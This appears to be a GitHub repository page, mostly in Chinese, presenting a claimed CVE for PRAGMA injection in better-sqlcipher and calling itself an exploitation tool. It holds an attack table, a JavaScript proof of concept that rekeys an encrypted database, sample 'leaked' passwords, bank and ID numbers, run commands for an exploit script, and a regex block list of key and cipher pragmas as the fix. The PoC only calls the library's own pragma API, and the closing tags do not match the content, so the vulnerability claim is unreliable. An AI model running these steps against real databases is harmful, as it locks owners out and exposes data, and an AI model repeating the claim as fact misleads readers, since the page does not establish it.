jabir-dev/CVE-2026-BetterSQLCipher-PragmaInjection
GitHub: jabir-dev/CVE-2026-BetterSQLCipher-PragmaInjection
用于利用 better-sqlcipher PRAGMA 注入漏洞的工具
Stars: 0 | Forks: 0
# CVE-2026-XXXXX: better-sqlcipher PRAGMA 注入
## 概述
| 字段 | 值 |
|-------|-------|
| **产品** | better-sqlcipher |
| **供应商** | Threema (threema-ch) |
| **版本** | 所有版本通过 11.3.0-sqlcipher4.6.1-bearssl0.6 |
| **类型** | 不当输入验证 (CWE-20) |
| **影响** | 加密密钥操纵 / 数据泄露 |
| **仓库** | https://github.com/threema-ch/better-sqlcipher |
## 漏洞
`lib/methods/pragma.js` 中的 `pragma()` 方法(第 10 行)直接将用户提供的输入未经验证地拼接成 SQL:
```
// lib/methods/pragma.js:10
const stmt = this[cppdb].prepare(`PRAGMA ${source}`, this, true);
```
## 已确认攻击
所有攻击均确认在版本 11.3.0 上:
| 攻击 | 结果 | 影响 |
|--------|--------|--------|
| `PRAGMA rekey = 'attacker_key'` | **密钥更改** | 原始所有者被锁定 |
| `PRAGMA cipher_salt` | **盐泄露** | 允许离线暴力破解 |
| `PRAGMA cipher_settings` | **完整配置泄露** | KDF 迭代次数、HMAC、页面大小暴露 |
| `PRAGMA cipher_memory_security = OFF` | **禁用** | 密钥材料留在内存中 |
| `PRAGMA table_info(messages)` | **模式泄露** | 所有表/列名称暴露 |
| `PRAGMA database_list` | **文件路径泄露** | 数据库位置披露 |
## 严重后果:加密密钥盗窃
```
const Database = require('better-sqlcipher');
const db = new Database('encrypted.db');
db.pragma("key = 'original_key'");
// Attacker changes encryption key:
db.pragma("rekey = 'attacker_key'");
// Original key PERMANENTLY broken
// All data now accessible only with attacker's key
```
### 泄露的数据(来自测试):
```
MSG: Password is: Tr33m@2026!
MSG: Bank: DE89370400440532013000
MSG: SSN: 123-45-6789
CONTACT: Alice | +49123456789 | alice@mail.com
KEY: identity = 0123456789ABCDEF
Cipher: SQLCipher 4.6.1, PBKDF2_HMAC_SHA512, 256000 iterations
Salt: 229aa49f89f07462e4a81ca165d6470c
```
## 攻击向量
1. **恶意 npm 依赖** — 一个受损害的包调用 `db.pragma("rekey = '...'")`
2. **Electron 应用中的 XSS** — Threema 桌面基于 Electron;XSS 导致 `pragma()` 访问
3. **原型污染** — 通过 `__proto__` 注入操纵 pragma 参数
4. **供应链攻击** — 损害 better-sqlcipher 本身
## 使用方法
```
npm install better-sqlcipher
node exploit.js
```
## 推荐修复
```
const BLOCKED_PRAGMAS = /^(hex)?(re)?key\b|^cipher_/i;
module.exports = function pragma(source, options) {
if (typeof source !== 'string') throw new TypeError('Expected string');
if (BLOCKED_PRAGMAS.test(source.trim())) {
throw new Error(`Dangerous PRAGMA blocked: ${source.split(/[\s=]/)[0]}`);
}
const stmt = this[cppdb].prepare(`PRAGMA ${source}`, this, true);
return simple ? stmt.pluck().get() : stmt.all();
};
```
## 免责声明
仅限 **授权安全测试** 和 **教育目的**。
## 许可证
MIT
标签:MITM代理, 威胁模拟, 数据可视化, 暗色界面, 自定义脚本